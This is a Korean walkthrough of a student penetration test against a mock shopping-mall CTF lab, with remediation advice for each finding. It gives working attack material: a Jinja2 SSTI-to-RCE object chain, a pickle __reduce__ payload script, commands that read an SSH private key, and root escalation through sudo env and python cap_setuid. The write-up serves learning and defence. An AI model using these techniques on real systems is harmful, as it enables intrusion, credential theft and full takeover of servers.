동아리 연합 모의해킹 프로젝트로 HSPACEMall이라는 가상 쇼핑몰을 분석한 기록을 정리해본다. 단순히 "어떤 취약점이 있었는가"가 아니라, 각 단계에서 어떤 가설을 세웠고, 어떤 단서를 보고 다음 스텝으로 넘어갔는지 사고 과정 위주로 적으려고 한다. 결과보고서는 따로 있지만, 그건 클라이언트에게 제출하는 형식이라 발견 사실 위주로 깔끔하게 적혀 있고, 이 글은 내가 공부하면서 "왜?"를 채워 넣은 버전이다.
중간(Medium, 4.0–6.9): 1건 — 제한적 피해, 다른 취약점과 결합 시 위험 증가
낮음(Low, 0.1–3.9): 2건 — 직접 피해는 낮으나 정보 노출 등 보조 위험
전체 공격 체인 한눈에 보기
분석을 마치고 돌아보니 발견한 취약점들이 독립적인 게 아니라, 하나의 매끄러운 공격 경로를 형성하고 있었다.
[정찰 단계]
HTML 주석 노출 (VULN-01)
→ JS 파일 하드코딩 해시 → admin 계정 탈취 (VULN-02)
→ robots.txt 정보 노출 (VULN-03)
→ IDOR로 숨겨진 주문 데이터 (VULN-04)
[초기 침투 단계]
admin 권한으로 /admin/calculator 진입
→ SSTI → RCE (VULN-05)
→ SECRET_KEY 평문 노출 (VULN-06)
[데이터 탈취 단계]
로그인 페이지 SQL Injection (VULN-07)
[횡적 이동 단계]
/profile_data Pickle 역직렬화 → www-data 쉘
→ SSH 키 발견 → 내부망 스캔 → /etc/shadow 크래킹
→ chatbot 서버 SSH 접속 (VULN-08)
[권한 상승 단계]
웹 서버: sudo NOPASSWD env → root (VULN-09)
chatbot 서버: cap_setuid 오설정 → root (VULN-10)
VULN-02가 탈취되지 않았다면 admin 패널 못 들어가고, 그럼 SSTI(VULN-05)를 못 찾았을 것이고, 그럼 RCE도 없고, 그럼 Pickle 페이로드(VULN-08) 위치도 모르고, 그럼 내부망 횡적 이동도 없다. "낮음" 등급의 작은 결함이 체인의 시작점이 되면 사실상 critical과 같은 영향력을 갖는다는 게 이번 실습에서 가장 크게 배운 점이다.
개발 환경(Dev Mode)에서 디버깅 목적으로 남겨둔 주석이 운영 환경에 그대로 남아있을 가능성이 있다. 특히 막 만든 서비스나 보안 검토 없이 배포된 사이트는 주석 정리가 안 되어 있는 경우가 많다.
분석 과정
블랙박스 평가의 첫 스텝은 항상 정찰이다. 별다른 도구 없이도 브라우저에서 Ctrl+U로 페이지 소스 보기를 켜고, Ctrl+F로 의심 키워드를 검색하는 것만으로도 꽤 많은 정보가 나온다. 이번 실습에서는 플래그 패턴(HSPACE)으로 검색했더니 HTML 주석 안에 플래그가 그대로 박혀 있었다.
📷 [그림 1-1] HTML 주석에서 플래그 확인 페이지 소스에서 <!-- ... HSPACE{...} ... --> 형태로 주석 처리된 플래그가 그대로 노출된 화면
<!-- 개발용: HSPACE{d3v_m0d3_1s_d4ng3r0us} -->
분석 의의
이런 주석 노출이 단순히 플래그 한 줄이면 다행이지만, 실무에서는 내부 API 엔드포인트, 테스트 계정, 디버그 토큰 같은 게 동일한 패턴으로 노출되는 경우가 흔하다. 주석은 사람이 보는 것이지만 결국 클라이언트로 전송되는 HTML의 일부이므로 누구나 읽을 수 있다.
개선 권고
운영 배포 전 HTML 주석·디버그 코드·개발용 데이터 전수 검토
CI/CD 파이프라인에 자동화된 시크릿 스캐너 도입 (truffleHog, git-secrets 등)
관리자 패널에 "계산기" 같은 사용자 입력을 받아 처리하는 기능이 있을 때, 그 입력이 템플릿 엔진에 그대로 들어가면 SSTI(Server-Side Template Injection)가 발생한다. 특히 Python/Flask 환경의 Jinja2 SSTI는 RCE까지 직결되는 경우가 많다.
분석 과정
1) 템플릿 엔진 식별
SSTI 분석은 어떤 템플릿 엔진을 쓰는지 확인하는 것에서 시작한다. 일반적으로는 {{7*7}}을 던져 49가 나오면 Jinja2/Twig/ERB 등이고, ${7*7}이면 FreeMarker/Velocity, <%= 7*7 %>면 ERB/EJS 등으로 구분한다.
이 사이트는 구분자를 변형해 [[ ]]로 사용하고 있었다.
📷 [그림 5-1] 계산기 기능에서 템플릿 구문 테스트 (Jinja2 확인) 계산기 입력란에 [[7*7]] 입력 시 49가 출력되어 서버 측 평가 확인
입력: [[7*7]]
출력: 49
49가 출력되었으므로 표현식이 서버에서 평가됨이 확인됐고, Python 컨텍스트(Flask)임을 알고 있으므로 Jinja2로 확정.
2) 객체 그래프 탐색을 통한 RCE
Jinja2 SSTI의 정석 페이로드는 Python 객체 그래프를 거슬러 올라가 위험한 모듈에 도달하는 것이다. Flask 환경에서는 config 객체가 항상 접근 가능해서 시작점으로 자주 쓰인다.
config.__class__ # Config 클래스
.__init__ # 생성자 함수
.__globals__ # 그 함수가 정의된 모듈의 전역 네임스페이스
['os'] # → os 모듈 획득
이 흐름을 한 줄로 묶으면 임의 명령 실행이 가능해진다.
📷 [그림 5-2] find 명령으로 flag 파일 경로 탐색 SSTI 페이로드를 통해 시스템 전체에서 flag 관련 파일을 검색하는 페이로드 입력 화면
이 취약점은 단일 결함이 아니라 여러 단계가 결합된 복합 공격이라 가장 분석할 게 많았다.
가설
웹 애플리케이션이 Flask로 작성되어 있다는 것은 백엔드가 Python이라는 뜻이고, 사용자 데이터를 저장/전송하는 과정에서 pickle 모듈을 부주의하게 사용하고 있을 가능성이 있다. Python의 pickle.loads()는 신뢰할 수 없는 데이터에 사용 시 RCE로 직결된다.
분석 과정
1) 엔드포인트 발견
VULN-05에서 확보한 SSTI RCE를 활용해 서버의 Python 소스 코드를 탐색.
📷 [그림 8-1] Python 관련 파일 목록 출력 SSTI 페이로드로 /app 디렉토리 내 .py 파일 목록 노출
📷 [그림 8-2] /profile_data 엔드포인트 발견 routes 파일 분석 결과 pickle.loads()를 사용하는 /profile_data 엔드포인트 코드 노출
routes 파일을 분석하던 중 /profile_data 엔드포인트 발견. 코드를 보니 사용자가 POST로 보낸 base64 데이터를 디코딩 후 pickle.loads()로 역직렬화하는 구조였다.
2) Pickle 페이로드 원리
Python pickle 모듈은 역직렬화 시 객체에 정의된 __reduce__ 메서드를 자동 호출한다. __reduce__가 (callable, args) 형태의 튜플을 반환하면, pickle은 그것을 그대로 호출한다. 즉 다음과 같은 클래스를 직렬화한 뒤 보내면, 받는 쪽에서 역직렬화하는 순간 명령어가 실행된다.
📷 [그림 8-3] Pickle reduce 페이로드 구성 공격용 클래스에 __reduce__ 메서드를 정의하고 base64로 인코딩하는 Python 스크립트
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('명령어',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
📷 [그림 8-4] chatbot 사용자 존재 확인 페이로드 전송 후 서버에서 whoami 실행 결과로 chatbot 사용자 존재 확인
이 페이로드를 /profile_data에 전송했더니 서버에서 명령어가 실행되었고, whoami 결과로 chatbot 유저의 존재를 확인했다.
3) 내부망 정찰
📷 [그림 8-5] /home/chatbot/ 디렉토리 목록 확인 ls -la /home/chatbot/ 결과 .ssh 디렉토리와 관련 파일들 노출
📷 [그림 8-6] id_ed25519 개인키 발견 /home/chatbot/.ssh/id_ed25519 파일 내용 노출, OPENSSH PRIVATE KEY 헤더 확인
ls -la /home/chatbot/
ls -la /home/chatbot/.ssh/
cat /home/chatbot/.ssh/id_ed25519
/home/chatbot/.ssh/id_ed25519 개인키 발견. SSH 접속 가능성 확보. 다음 질문은 "어디로 접속할 것인가?"
📷 [그림 8-7] 웹서버 IP 확인 (172.19.0.4) ip a 또는 hostname -I 출력 결과 현재 호스트가 172.19.0.4임을 확인
즉 env CMD 형태로 임의의 명령어를 실행할 수 있다. 그리고 sudo로 env가 실행되면, env가 root 권한으로 동작하면서 인자로 전달된 명령어 역시 root 권한을 상속받는다.
📷 [그림 9-1] sudo env 오설정 확인 및 root 권한 획득 sudo -l 결과 화면과 sudo /usr/bin/env /bin/bash 실행 후 프롬프트가 $ → #으로 변경, id 결과 uid=0(root) 확인
sudo /usr/bin/env /bin/bash
쉘 프롬프트가 $에서 #으로 바뀌었고, id 출력은 uid=0(root). 서버의 모든 통제권 확보.
분석 의의
env 외에도 sudo NOPASSWD로 권한 상승 가능한 바이너리는 매우 많다. GTFOBins(https://gtfobins.github.io/)는 이런 케이스를 정리해놓은 표준 레퍼런스로, 모의해킹 권한 상승 단계에서 거의 매번 참조하게 된다.
운영자 입장에서 env나 vim, find, awk 같은 일상 도구에 NOPASSWD를 주는 것은 그냥 root를 주는 것과 다름없다는 인식이 필요하다.
개선 권고
sudoers에서 범용 바이너리(env, vim, find, awk, less 등)에 NOPASSWD 부여 금지
최소 권한 원칙(PoLP) 적용: 꼭 필요한 명령어만, 가능하면 비밀번호 요구
/etc/sudoers 정기 감사
GTFOBins 등록된 바이너리는 sudoers에서 자동 검출하는 스캐너 활용
VULN-10. Linux Capabilities 오설정 (cap_setuid) [높음]
플래그: HSPACE{c4p4b1l1t13s_c4n_b3_tr1cky} 대상: chatbot 서버 - chatbot 계정
가설
VULN-08로 chatbot 서버에 들어왔지만 일반 계정 권한이다. Linux 권한 상승 체크리스트를 순서대로 돌리되, sudo 외에도 SUID 비트와 Linux Capabilities를 반드시 확인해야 한다.
분석 과정
1) 권한 상승 체크리스트 실행
📷 [그림 10-1] chatbot 홈 디렉토리 확인 ls -al 결과 .bash_history 등 정찰 단서가 될 만한 파일 노출
📷 [그림 10-2] .bash_history에서 권한 상승 시도 이력 확인 cat ~/.bash_history 결과 이전 사용자가 시도한 권한 상승 관련 명령어 흔적 확인
ls -al # 홈 디렉토리 단서 확인
cat ~/.bash_history # 이전 사용자 흔적
sudo -l # NOPASSWD 명령
find / -perm -4000 2>/dev/null # SUID 비트
/sbin/getcap -r / 2>/dev/null # Linux Capabilities
📷 [그림 10-3] /sbin/getcap 결과 - python3.10에 cap_setuid=ep 확인 /sbin/getcap -r / 실행 결과 /usr/bin/python3.10 = cap_setuid+ep 항목 노출
getcap 결과에서 결정적 단서 발견.
/usr/bin/python3.10 = cap_setuid+ep
2) cap_setuid 이해
Linux Capabilities는 root의 거대한 권한을 38개 정도의 세분화된 능력으로 나눠 필요한 것만 부여하는 메커니즘이다. cap_setuid는 그중에서도 프로세스의 UID를 자유롭게 변경할 수 있는 권한으로, 사실상 "root가 될 수 있는 권한"과 거의 같다.
+ep는 Effective + Permitted 플래그를 의미하며, 해당 바이너리 실행 시 이 권한이 즉시 활성화된다.
3) 권한 상승 실행
📷 [그림 10-4] python3.10으로 root 권한 획득 python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")' 실행 후 root 쉘 진입 화면
📷 [그림 10-5] id 명령으로 root 권한 확인 id 출력 결과 uid=0(root)로 권한 상승 성공 확인
os.setuid(0)이 cap_setuid 권한 덕분에 성공하고, 이후 호출되는 /bin/bash는 root 컨텍스트에서 실행된다.
📷 [그림 10-6] /root/flag.txt 플래그 획득 root 권한으로 cat /root/flag.txt 실행 결과 권한 상승 플래그 노출
id
# uid=0(root) gid=1000(chatbot) groups=1000(chatbot)
cat /root/flag.txt
분석 의의: SUID와 Capabilities의 차이
이 부분이 헷갈리기 쉬워서 정리하고 넘어간다.
구분 SUID Capabilities
부여 방식
chmod u+s
setcap cap_xxx+ep
권한 범위
소유자 권한 전체 (보통 root)
세분화된 개별 권한
보안 우수성
낮음 (전체 권한)
높음 (필요한 것만)
위험성
명확함
잘못 부여 시 사실상 SUID와 동일
이론적으로는 Capabilities가 더 안전한 설계지만, cap_setuid나 cap_sys_admin 같은 강력한 capability를 부여하면 SUID-root 바이너리와 다를 게 없다. 보안 모델은 도구가 아니라 운영자의 이해도에 좌우된다는 점을 보여주는 사례다.
개선 권고
불필요한 capabilities 즉시 제거: setcap -r /usr/bin/python3.10
정기적으로 getcap -r / 실행하여 시스템 전체 점검
인터프리터 바이너리(python, ruby, perl 등)에 capabilities 부여 금지 (사실상 root)
컨테이너 이미지에서 불필요한 capability를 BUILD 시점에 제거
보너스: SSTI 한 번으로 다중 플래그 일괄 회수
분석을 다 마친 후 발견한 점인데, SSTI가 확보된 시점에 다음 한 줄만 던지면 시스템 전체에 흩어진 플래그를 한 번에 추출할 수 있었다.
📷 [그림 A-1] SSTI를 이용한 다중 플래그 일괄 획득 grep -r "HSPACE{" /app 페이로드로 시스템 전체 플래그 7개가 한 번에 노출된 응답 화면
총 7개의 플래그가 한 번에 노출됐다. 이건 CTF 관점에서도 흥미롭지만, 실무 보안 관점에서 시사하는 바가 더 크다. RCE가 한 곳에서 발생하면, 그 시점부터 시스템 전체의 모든 비밀이 위험에 노출된다는 것. RCE 취약점의 위험도가 단일 데이터 노출보다 훨씬 높게 평가되는 이유이기도 하다.
두 개의 flag.txt 경로 차이 정리
이번 실습에서 /home/chatbot/flag.txt와 /root/flag.txt 두 개의 플래그 파일이 등장했는데, 경로가 다른 이유는 각 단계가 서로 다른 보안 이벤트를 나타내기 때문이다.
📷 [그림 A-2] /home/chatbot/flag.txt vs /root/flag.txt 경로 비교 두 플래그 파일의 위치와 접근 권한 차이를 보여주는 ls -l 비교 화면
/home/chatbot/flag.txt (VULN-08, 횡적 이동 플래그): 앱 서버 → chatbot 서버로 이동한 사실 자체를 증명. 비밀번호 크래킹 후 SSH 접속만으로 회수 가능.
/root/flag.txt (VULN-10, 권한 상승 플래그): chatbot 서버 안에서 일반 계정 → root로 권한이 상승되었음을 증명. root만 접근 가능한 /root/ 디렉토리에 위치.
이 분리는 평가 관점에서 의미가 있다. 횡적 이동(Lateral Movement)과 권한 상승(Privilege Escalation)은 MITRE ATT&CK에서도 별개의 전술로 분류되며, 실제 침해사고 분석에서도 둘을 구분해서 추적한다.
종합 분석
발견된 보안 약점 카테고리
본 평가에서 발견된 10건의 취약점을 카테고리별로 묶어보면 다음과 같은 구조적 문제들이 드러난다.
민감 정보 관리 부재: HTML 주석, JS 파일, robots.txt, SECRET_KEY 등 다양한 위치에 민감 정보가 노출 (VULN-01, 02, 03, 06)
입력값 검증 부재: SQL Injection, SSTI, Pickle 역직렬화 등 사용자 입력이 신뢰 경계를 넘어 위험한 컨텍스트로 전달 (VULN-05, 07, 08)
접근 제어 미흡: IDOR로 인한 객체 접근 권한 검증 부재 (VULN-04)
시스템 설정 오류: sudo NOPASSWD, Linux Capabilities 등 OS 레벨 권한 관리 실패 (VULN-09, 10)
공격 체인의 의미
이번 실습에서 가장 중요한 학습은 각 취약점이 단독으로는 큰 위험이 아닐 수 있어도, 조합되면 시스템 전체 장악으로 이어진다는 점이다.
JS 파일의 SHA-512 해시(VULN-02) 단독으로는 admin 패널 노출 정도지만, 그게 SSTI(VULN-05)의 진입 조건이 되고, SSTI는 RCE를 만들고, RCE는 Pickle 페이로드 분석(VULN-08)을 가능하게 하고, Pickle은 내부망 횡적 이동을 만들고, 거기서 다시 권한 상승(VULN-09, 10)으로 연결된다.
따라서 보고서를 작성할 때도 단순한 취약점 리스트가 아니라 공격 경로(Attack Chain)를 시각화해서 전달하는 것이 클라이언트의 패치 우선순위 결정에 훨씬 도움이 된다는 점을 배웠다.
결론
총 10건의 취약점 중 5건이 심각(Critical) 등급으로, 즉각적 조치가 필요한 수준이다. 특히 SSTI를 통한 RCE, SQL Injection, Pickle 역직렬화는 단독으로도 심각하지만, 다른 취약점과의 결합을 통해 외부 웹 → 내부망 → 권한 상승까지 이어지는 완전한 침해 시나리오를 형성하고 있다.